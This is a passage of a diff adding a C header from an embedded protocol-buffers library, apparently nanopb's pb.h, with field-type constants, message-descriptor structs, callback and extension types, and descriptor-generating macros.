field types. These are used in the autogenerated code. + * Least-significant 4 bits tell the scalar type + * Most-significant 4 bits specify repeated/required/packed etc. + */ +typedef pb_byte_t pb_type_t; + +/**** Field data types ****/ + +/* Numeric types */ +#define PB_LTYPE_BOOL 0x00U /* bool */ +#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */ +#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */ +#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */ +#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */ +#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */ + +/* Marker for last packable field type. */ +#define PB_LTYPE_LAST_PACKABLE 0x05U + +/* Byte array with pre-allocated buffer. + * data_size is the length of the allocated PB_BYTES_ARRAY structure. */ +#define PB_LTYPE_BYTES 0x06U + +/* String with pre-allocated buffer. + * data_size is the maximum length. */ +#define PB_LTYPE_STRING 0x07U + +/* Submessage + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMESSAGE 0x08U + +/* Submessage with pre-decoding callback + * The pre-decoding callback is stored as pb_callback_t right before pSize. + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMSG_W_CB 0x09U + +/* Extension pseudo-field + * The field contains a pointer to pb_extension_t */ +#define PB_LTYPE_EXTENSION 0x0AU + +/* Byte array with inline, pre-allocated byffer. + * data_size is the length of the inline, allocated buffer. + * This differs from PB_LTYPE_BYTES by defining the element as + * pb_byte_t[data_size] rather than pb_bytes_array_t. */ +#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU + +/* Number of declared LTYPES */ +#define PB_LTYPES_COUNT 0x0CU +#define PB_LTYPE_MASK 0x0FU + +/**** Field repetition rules ****/ + +#define PB_HTYPE_REQUIRED 0x00U +#define PB_HTYPE_OPTIONAL 0x10U +#define PB_HTYPE_SINGULAR 0x10U +#define PB_HTYPE_REPEATED 0x20U +#define PB_HTYPE_FIXARRAY 0x20U +#define PB_HTYPE_ONEOF 0x30U +#define PB_HTYPE_MASK 0x30U + +/**** Field allocation types ****/ + +#define PB_ATYPE_STATIC 0x00U +#define PB_ATYPE_POINTER 0x80U +#define PB_ATYPE_CALLBACK 0x40U +#define PB_ATYPE_MASK 0xC0U + +#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK) +#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK) +#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK) +#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \ + PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB) + +/* Data type used for storing sizes of struct fields + * and array counts. + */ +#if defined(PB_FIELD_32BIT) + typedef uint32_t pb_size_t; + typedef int32_t pb_ssize_t; +#else + typedef uint_least16_t pb_size_t; + typedef int_least16_t pb_ssize_t; +#endif +#define PB_SIZE_MAX ((pb_size_t)-1) + +/* Forward declaration of struct types */ +typedef struct pb_istream_s pb_istream_t; +typedef struct pb_ostream_s pb_ostream_t; +typedef struct pb_field_iter_s pb_field_iter_t; + +/* This structure is used in auto-generated constants + * to specify struct fields. + */ +typedef struct pb_msgdesc_s pb_msgdesc_t; +struct pb_msgdesc_s { + const uint32_t *field_info; + const pb_msgdesc_t * const * submsg_info; + const pb_byte_t *default_value; + + bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field); + + pb_size_t field_count; + pb_size_t required_field_count; + pb_size_t largest_tag; +}; + +/* Iterator for message descriptor */ +struct pb_field_iter_s { + const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */ + void *message; /* Pointer to start of the structure */ + + pb_size_t index; /* Index of the field */ + pb_size_t field_info_index; /* Index to descriptor->field_info array */ + pb_size_t required_field_index; /* Index that counts only the required fields */ + pb_size_t submessage_index; /* Index that counts only submessages */ + + pb_size_t tag; /* Tag of current field */ + pb_size_t data_size; /* sizeof() of a single item */ + pb_size_t array_size; /* Number of array entries */ + pb_type_t type; /* Type of current field */ + + void *pField; /* Pointer to current field in struct */ + void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */ + void *pSize; /* Pointer to count/has field */ + + const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */ +}; + +/* For compatibility with legacy code */ +typedef pb_field_iter_t pb_field_t; + +/* Make sure that the standard integer types are of the expected sizes. + * Otherwise fixed32/fixed64 fields can break. + * + * If you get errors here, it probably means that your stdint.h is not + * correct for your platform. + */ +#ifndef PB_WITHOUT_64BIT +PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE) +PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE) +#endif + +/* This structure is used for 'bytes' arrays. + * It has the number of bytes in the beginning, and after that an array. + * Note that actual structs used will have a different length of bytes array. + */ +#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; } +#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes)) + +struct pb_bytes_array_s { + pb_size_t size; + pb_byte_t bytes[1]; +}; +typedef struct pb_bytes_array_s pb_bytes_array_t; + +/* This structure is used for giving the callback function. + * It is stored in the message structure and filled in by the method that + * calls pb_decode. + * + * The decoding callback will be given a limited-length stream + * If the wire type was string, the length is the length of the string. + * If the wire type was a varint/fixed32/fixed64, the length is the length + * of the actual value. + * The function may be called multiple times (especially for repeated types, + * but also otherwise if the message happens to contain the field multiple + * times.) + * + * The encoding callback will receive the actual output stream. + * It should write all the data in one call, including the field tag and + * wire type. It can write multiple fields. + * + * The callback can be null if you want to skip a field. + */ +typedef struct pb_callback_s pb_callback_t; +struct pb_callback_s { + /* Callback functions receive a pointer to the arg field. + * You can access the value of the field as *arg, and modify it if needed. + */ + union { + bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg); + bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg); + } funcs; + + /* Free arg for use by callback */ + void *arg; +}; + +extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field); + +/* Wire types. Library user needs these only in encoder callbacks. */ +typedef enum { + PB_WT_VARINT = 0, + PB_WT_64BIT = 1, + PB_WT_STRING = 2, + PB_WT_32BIT = 5, + PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */ +} pb_wire_type_t; + +/* Structure for defining the handling of unknown/extension fields. + * Usually the pb_extension_type_t structure is automatically generated, + * while the pb_extension_t structure is created by the user. However, + * if you want to catch all unknown fields, you can also create a custom + * pb_extension_type_t with your own callback. + */ +typedef struct pb_extension_type_s pb_extension_type_t; +typedef struct pb_extension_s pb_extension_t; +struct pb_extension_type_s { + /* Called for each unknown field in the message. + * If you handle the field, read off all of its data and return true. + * If you do not handle the field, do not read anything and return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*decode)(pb_istream_t *stream, pb_extension_t *extension, + uint32_t tag, pb_wire_type_t wire_type); + + /* Called once after all regular fields have been encoded. + * If you have something to write, do so and return true. + * If you do not have anything to write, just return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension); + + /* Free field for use by the callback. */ + const void *arg; +}; + +struct pb_extension_s { + /* Type describing the extension field. Usually you'll initialize + * this to a pointer to the automatically generated structure. */ + const pb_extension_type_t *type; + + /* Destination for the decoded data. This must match the datatype + * of the extension field. */ + void *dest; + + /* Pointer to the next extension handler, or NULL. + * If this extension does not match a field, the next handler is + * automatically called. */ + pb_extension_t *next; + + /* The decoder sets this to true if the extension was found. + * Ignored for encoding. */ + bool found; +}; + +#define pb_extension_init_zero {NULL,NULL,NULL,false} + +/* Memory allocation functions to use. You can define pb_realloc and + * pb_free to custom functions if you want. */ +#ifdef PB_ENABLE_MALLOC +# ifndef pb_realloc +# define pb_realloc(ptr, size) realloc(ptr, size) +# endif +# ifndef pb_free +# define pb_free(ptr) free(ptr) +# endif +#endif + +/* This is used to inform about need to regenerate .pb.h/.pb.c files. */ +#define PB_PROTO_HEADER_VERSION 40 + +/* These macros are used to declare pb_field_t's in the constant array. */ +/* Size of a structure member, in bytes. */ +#define pb_membersize(st, m) (sizeof ((st*)0)->m) +/* Number of entries in an array. */ +#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0])) +/* Delta from start of one member to the start of another member. */ +#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2)) + +/* Force expansion of macro value */ +#define PB_EXPAND(x) x + +/* Binding of a message field set into a specific structure */ +#define PB_BIND(msgname, structname, width) \ + const uint32_t structname ## _field_info[] PB_PROGMEM = \ + { \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \ + 0 \ + }; \ + const pb_msgdesc_t* const structname ## _submsg_info[] = \ + { \ + msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \ + NULL \ + }; \ + const pb_msgdesc_t structname ## _msg = \ + { \ + structname ## _field_info, \ + structname ## _submsg_info, \ + msgname ## _DEFAULT, \ + msgname ## _CALLBACK, \ + 0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \ + }; \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname) + +#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1 +#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \ + + (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED) +#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \ + * 0 + tag + +/* X-macro for generating the entries in struct_field_info[] array. */ +#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +/* X-macro for generating asserts that entries fit in struct_field_info[] array. + * The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(), + * but it is not easily reused because of how macro substitutions work. */ +#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname) + +#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname) +#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname)) +#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) +#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname) +#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname) +#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count) +#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0 + +#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0]) + +#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname) +#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname) +#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname) +#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0]) +#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0]) +#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname) + +#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple) +#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname +#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername +#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname + +#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \ + PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname) + +#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname)) +#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) +#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE) +#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SI_PB_LTYPE_BOOL(t) +#define PB_SI_PB_LTYPE_BYTES(t) +#define PB_SI_PB_LTYPE_DOUBLE(t) +#define PB_SI_PB_LTYPE_ENUM(t) +#define PB_SI_PB_LTYPE_UENUM(t) +#define PB_SI_PB_LTYPE_FIXED32(t) +#define PB_SI_PB_LTYPE_FIXED64(t) +#define PB_SI_PB_LTYPE_FLOAT(t) +#define PB_SI_PB_LTYPE_INT32(t) +#define PB_SI_PB_LTYPE_INT64(t) +#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_SFIXED32(t) +#define PB_SI_PB_LTYPE_SFIXED64(t) +#define PB_SI_PB_LTYPE_SINT32(t) +#define PB_SI_PB_LTYPE_SINT64(t) +#define PB_SI_PB_LTYPE_STRING(t) +#define PB_SI_PB_LTYPE_UINT32(t) +#define PB_SI_PB_LTYPE_UINT64(t) +#define PB_SI_PB_LTYPE_EXTENSION(t) +#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t) +#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg), + +/* The field descriptors use a variable width format, with width of either + * 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always + * encode the descriptor size, 6 lowest bits of field tag number, and 8 bits + * of the field type. + * + * Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words. + * + * Formats, listed starting with the least significant bit of the first word. + * 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size] + * + * 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset] + * [16-bit data_offset] [12-bit data_size] [4-bit tag>>6] + * + * 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * + * 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * [32-bit array_size] + * [32-bit reserved] + * [32-bit reserved] + * [32-bit reserved] + */ + +#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \ + (0 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \ + (((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)), + +#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \ + (1 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \ + (((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)), + +#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \ + (2 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), + +#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \ + (3 | (((tag) << 2) & 0xFF) | ((type) << 8)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), (array_size), 0, 0, 0, + +/* These assertions verify that the field information fits in the allocated space. + * The generator tries to automatically determine the correct width that can fit all + * data associated with a message. These asserts will fail only if there has been a + * problem in the automatic logic - this may be worth reporting as a bug. As a workaround, + * you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting + * descriptorsize option in .options file. + */ +#define PB_FITS(value,bits) 